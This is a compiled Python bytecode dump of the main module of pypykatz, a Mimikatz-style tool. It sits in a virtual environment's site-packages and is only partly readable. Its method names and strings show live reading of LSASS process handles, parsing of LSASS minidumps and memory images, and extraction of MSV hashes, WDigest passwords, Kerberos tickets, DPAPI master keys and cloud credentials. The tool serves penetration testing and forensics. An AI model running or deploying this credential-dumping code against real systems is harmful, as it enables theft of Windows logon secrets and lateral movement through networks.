o
    j6                     @   s   d dl Z d dlZd dlZd dlZd dlmZ d dlmZmZm	Z	m
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZ d dlmZ d dlmZ d dlmZ d dlm Z  d dl!m"Z" d d	l#m$Z$ d d
l%m&Z& G dd dZdS )    N)KatzSystemInfo)CredmanTemplateMsvTemplateMsvDecryptorWdigestTemplateLsaTemplateWdigestDecryptorLiveSspTemplateLiveSspDecryptorSspDecryptorSspTemplateTspkgDecryptorTspkgTemplateKerberosTemplateKerberosDecryptorDpapiTemplateDpapiDecryptorLsaDecryptorCloudapTemplateCloudapDecryptor)LogonSession)logger)UniversalEncoder)MinidumpFile)CCACHE)Kirbi)__version__c                   @   sn  e Zd Zdd Zdd Zdd Zdd Zd	d
 ZedgfddZ	edgfddZ
edgfddZedgfddZedgdfddZedgfddZedgdfddZedgfddZeddgfddZedddgfd d!Zed"dgfd#d$Zd%d& Zd'd( Zd)d* Zd+d, Zd-d. Zd/d0 Zd1d2 Zd3d4 Zd5d6 Zd>d8d9Zd:d; Zdgfd<d=ZdS )?pypykatzc                 C   sH   || _ || _g | _d | _d | _d | _d | _i | _g | _g | _	t
 | _d S N)readersysinfocredentialsarchitectureoperating_systembuildnumberlsa_decryptorlogon_sessionsorphaned_credserrorsr   kerberos_ccache)selfr   r     r+   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/pypykatz/pypykatz.py__init__   s   zpypykatz.__init__c                 C   s   i }i |d< | j D ]}| j |  |d |< q	g |d< | jD ]}|d |  qg |d< | jD ]%\}}t|d dt|j	 }t
|  }|d ||f q1|S )Nr&   r'   r(   
)r&   to_dictr'   appendr(   strjoin	traceback	format_tb__traceback__base64	b64encodeencodedecode)r*   tlsocpkgerrerr_strr+   r+   r,   r/   +   s   

zpypykatz.to_dictc                 C   s   t j|  tdddS )N   T)clsindent	sort_keys)jsondumpsr/   r   r*   r+   r+   r,   to_json=   s   zpypykatz.to_jsonc           
      C   sz  d tjd }| jD ]}| j|  D ]}|d |d 7 }| jD ]`}| }|d dkrY|d d urXt|d t|d t|d dddddt|d g	}|d |d 7 }q"| }t|d dddddt|d	 t|d
 t|d dg
}|d |d 7 }q"| jD ]2\}}t|d d t	
|j }	t|	  }	|d ddddddd|	g	}|d |d 7 }qqq|S )N:r.   credtypedpapipassword
domainnameusername 	masterkeysha1_masterkeykey_guid_exception_please_report)r2   r   grep_headerr&   to_grep_rowsr'   r/   r1   r(   r3   r4   r5   r6   r7   r8   r9   )
r*   resluidrowcredr:   xr=   r>   r?   r+   r+   r,   to_grep@   s,   

68zpypykatz.to_grepc                 C   s\   d}| j D ]}|t| j | d 7 }qt| jdkr,|d7 }| jD ]
}|t|d 7 }q!|S )Nz== Logon credentials ==
r.   r   z== Orphaned credentials ==
)r&   r1   lenr'   )r*   rU   rV   rX   r+   r+   r,   __str__X   s   

zpypykatz.__str__allc                 C   sL   t  dkr
tdddlm} | }t|}t| |}|	|  |S )NWindows&Live parsing will only work on Windowsr   
LiveReader
platformsystem	Exception*pypykatz.commons.readers.local.live_readerra   r   from_live_readerr   get_buffered_readerstart)packagesra   r   r    mimir+   r+   r,   go_lived   s   

zpypykatz.go_livec                 C   s   t  dkr
tdddlm} | }t|dkrtd|D ]*\}}ztj|dgdW   S  tyI } ztd|||f  W Y d }~qd }~ww d S )	Nr^   r_   r   )enum_lsass_handleszNo handles found to LSASS!r]   )rj   z7[-] Failed to parse lsass via handle %s[@%s] Reason: %s)	rc   rd   re   >pypykatz.commons.winapi.local.function_defs.live_reader_ctypesrm   r[   r   go_live_phandleprint)rj   rm   lsass_handlespidlsass_handleer+   r+   r,   go_handledupo   s   zpypykatz.go_handledupc                 C   sP   t  dkr
tdddlm} || d}t|}t| |}|	| |S )Nr^   r_   r   r`   )process_handlerb   )rv   rj   ra   r   r    rk   r+   r+   r,   ro   }   s   


zpypykatz.go_live_phandlec                 C   s<   ddl m} || }t|}t| |}|| |S )Nr   )ZipDumpReader)'pypykatz.commons.readers.zipdump.readerrw   	from_filer   rg   r   rh   ri   )filenamerj   rw   r   r    rk   r+   r+   r,   parse_zipdump_file   s   


zpypykatz.parse_zipdump_filei (  c              
   C   s   zt | }| j|d}t|}W n ty' } ztd |d }~ww zt	||}|
| W |S  tyG } z|  |d }~ww )Nsegment_chunk_sizezMinidump parsing error!)r   parse
get_readerrh   r   from_minidumpre   r   	exceptionr   ri   log_basic_info)rz   rj   	chunksizeminidumpr   r    rt   rk   r+   r+   r,   parse_minidump_file   s$   


zpypykatz.parse_minidump_filec                 C   8   t | }|  }t|}t||}|| |S )zD
		Parses LSASS minidump file bytes.
		data needs to be bytearray
		)r   parse_bytesr   rh   r   r   r   ri   )datarj   r   r   r    rk   r+   r+   r,   parse_minidump_bytes      



zpypykatz.parse_minidump_bytesc                 C   s<   t | }| j|d}t|}t||}|| |S )z
		Parses LSASS minidump file based on the file object.
		File object can really be any object as longs as 
		it implements read, seek, tell functions with the 
		same parameters as a file object would.

		handle: file like object
		r|   )r   parse_externalr   rh   r   r   r   ri   )handlerj   r   r   r   r    rk   r+   r+   r,   parse_minidump_external   s   




z pypykatz.parse_minidump_externalc                 C   r   )z_
		Parses LSASS minidump file which contents are in a bytes buffer
		buff: io.BytesIO object
		)r   
parse_buffr   rh   r   r   r   ri   )buffrj   r   r   r    rk   r+   r+   r,   parse_minidump_buffer   r   zpypykatz.parse_minidump_bufferNc                 C   s:   ddl m} || |}t|}t||}|| |S Nr   )RekallReader),pypykatz.commons.readers.rekall.rekallreaderr   from_memory_filer   from_rekallreaderr   ri   )rz   override_timestamprj   r   r   r    rk   r+   r+   r,   parse_memory_dump_rekall   s   


z!pypykatz.parse_memory_dump_rekallc                 C   s<   ddl m} || ||}t|}t||}|| |S r   )r   r   from_sessionr   r   r   ri   )sessionr   r$   rj   r   r   r    rk   r+   r+   r,   	go_rekall   s   


zpypykatz.go_rekall   c                 C   s>   ddl m}m} || |}| }t||}|| ||S )Nr   )
Vol3Readervol3_treegrid).pypykatz.commons.readers.volatility3.volreaderr   r   get_sysinfor   ri   )vol3_objframework_versionrj   r   r   r   r    rk   r+   r+   r,   go_volatility3   s   


zpypykatz.go_volatility3c                 C   s   t d t dt  t d| jjj  t d| jj  t d| jj  t d| jj  t d| jj	  t d d	S )
z=
		In case of error, please attach this to the issues page
		z8===== BASIC INFO. SUBMIT THIS IF THERE IS AN ISSUE =====zpypyKatz version: %szCPU arch: %szOS: %szBuildNumber: %szMajorVersion: %s zMSV timestamp: %sz===== BASIC INFO END =====N)
r   infor   r    r"   namer#   r$   major_versionmsv_dll_timestamprF   r+   r+   r,   r      s   
zpypykatz.log_basic_infoc                 C   sB   t | j}t| j}t| j|| j|| j}|  |j| _d S r   )	r   get_templater    r   r   r   r%   ri   r&   )r*   credman_templatemsv_templatelogoncred_decryptorr+   r+   r,   get_logoncreds   s
   zpypykatz.get_logoncredsc                 C   sZ   t d t| jD ]}zt| j|| j}|  W n   Y qt d |  S d S )Nz1Testing all available templates! Expect warnings!z@Lucky you! Brutefoce method found a -probably- working template!)	r   debugr   get_template_bruter    r   chooser   dump)r*   lsa_dec_templatelsa_decr+   r+   r,   get_lsa_bruteforce   s   

zpypykatz.get_lsa_bruteforcec              
   C   s   zt | j}t| j|| j}|  W |S  ty? } zt	dt
|  |  }|d u r3td|W  Y d }~S d }~ww )Nz?Failed to automatically detect correct LSA template! Reason: %szAll detection methods failed.)r   r   r    r   r   r   r   re   r   r   r1   r   )r*   r   r   rt   r+   r+   r,   get_lsa
  s   
zpypykatz.get_lsac                 C   f   t | j}t| j|| j| j}|  |jD ]}|j| j	v r*| j	|j j
| q| j| qd S r   )r   r   r    r   r   r%   ri   r!   rV   r&   wdigest_credsr0   r'   )r*   decryptor_template	decryptorrX   r+   r+   r,   get_wdigest     
zpypykatz.get_wdigestc                 C   r   r   )r   r   r    r   r   r%   ri   r!   rV   r&   tspkg_credsr0   r'   )r*   tspkg_dec_template	tspkg_decrX   r+   r+   r,   	get_tspkg#  r   zpypykatz.get_tspkgc                 C   r   r   )r   r   r    r   r   r%   ri   r!   rV   r&   	ssp_credsr0   r'   r*   dec_templatedecrX   r+   r+   r,   get_ssp-  r   zpypykatz.get_sspc                 C   r   r   )r	   r   r    r
   r   r%   ri   r!   rV   r&   livessp_credsr0   r'   )r*   livessp_dec_templatelivessp_decrX   r+   r+   r,   get_livessp7  r   zpypykatz.get_livesspc                 C   r   r   )r   r   r    r   r   r%   ri   r!   rV   r&   dpapi_credsr0   r'   r   r+   r+   r,   	get_dpapiA  r   zpypykatz.get_dpapiTc                 C   s   t | j}t| j|| j| j|d}|  |jD ]0}|jD ]}|j	D ]}| j
t|j	|  q#q|j| jv rC| j|j j| q| j| qd S )N)with_tickets)r   r   r    r   r   r%   ri   r!   tickets
kirbi_datar)   	add_kirbir   rV   r&   kerberos_credsr0   r'   )r*   r   r   r   rX   ticketfnr+   r+   r,   get_kerberosK  s   


zpypykatz.get_kerberosc                 C   sr   t | j}|d u rd S t| j|| j| j}|  |jD ]}|j| j	v r0| j	|j j
| q| j| qd S r   )r   r   r    r   r   r%   ri   r!   rV   r&   cloudap_credsr0   r'   )r*   cloudap_dec_templatecloudap_decrX   r+   r+   r,   get_cloudapY  s   
zpypykatz.get_cloudapc              
   C   s  |   | _d|v sd|v r.z|   W n ty- } z| jd|f W Y d }~nd }~ww d|v s6d|v rWz|   W n tyV } z| jd|f W Y d }~nd }~ww d|v scd|v scd|v rzd}d|v snd|v rpd}| | W n ty } z| jd|f W Y d }~nd }~ww d|v sd|v rz|   W n ty } z| jd|f W Y d }~nd }~ww d	|v sd|v rz| 	  W n ty } z| jd	|f W Y d }~nd }~ww d
|v sd|v rz| 
  W n ty } z| jd
|f W Y d }~nd }~ww d|v sd|v r:z|   W n ty9 } z| jd|f W Y d }~nd }~ww d|v sDd|v rhz|   W d S  tyg } z| jd|f W Y d }~d S d }~ww d S )Nmsvr]   wdigestkerberoskticketsFTtspkgssprJ   cloudaplivessp)r   r%   r   re   r(   r0   r   r   r   r   r   r   r   )r*   rj   rt   r   r+   r+   r,   ri   e  sz   
zpypykatz.start)T) __name__
__module____qualname__r-   r/   rG   rZ   r\   staticmethodrl   ru   ro   r{   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r   ri   r+   r+   r+   r,   r      sP    

	





r   )'rc   rD   r3   r6   pypykatz.commons.commonr   pypykatz.lsadecryptorr   r   r   r   r   r   r	   r
   r   r   r   r   r   r   r   r   r   r   r   ,pypykatz.lsadecryptor.packages.msv.decryptorr   r   r   r   minidump.minidumpfiler   minikerberos.common.ccacher   minikerberos.common.kirbir   pypykatz._versionr   r+   r+   r+   r,   <module>   s   T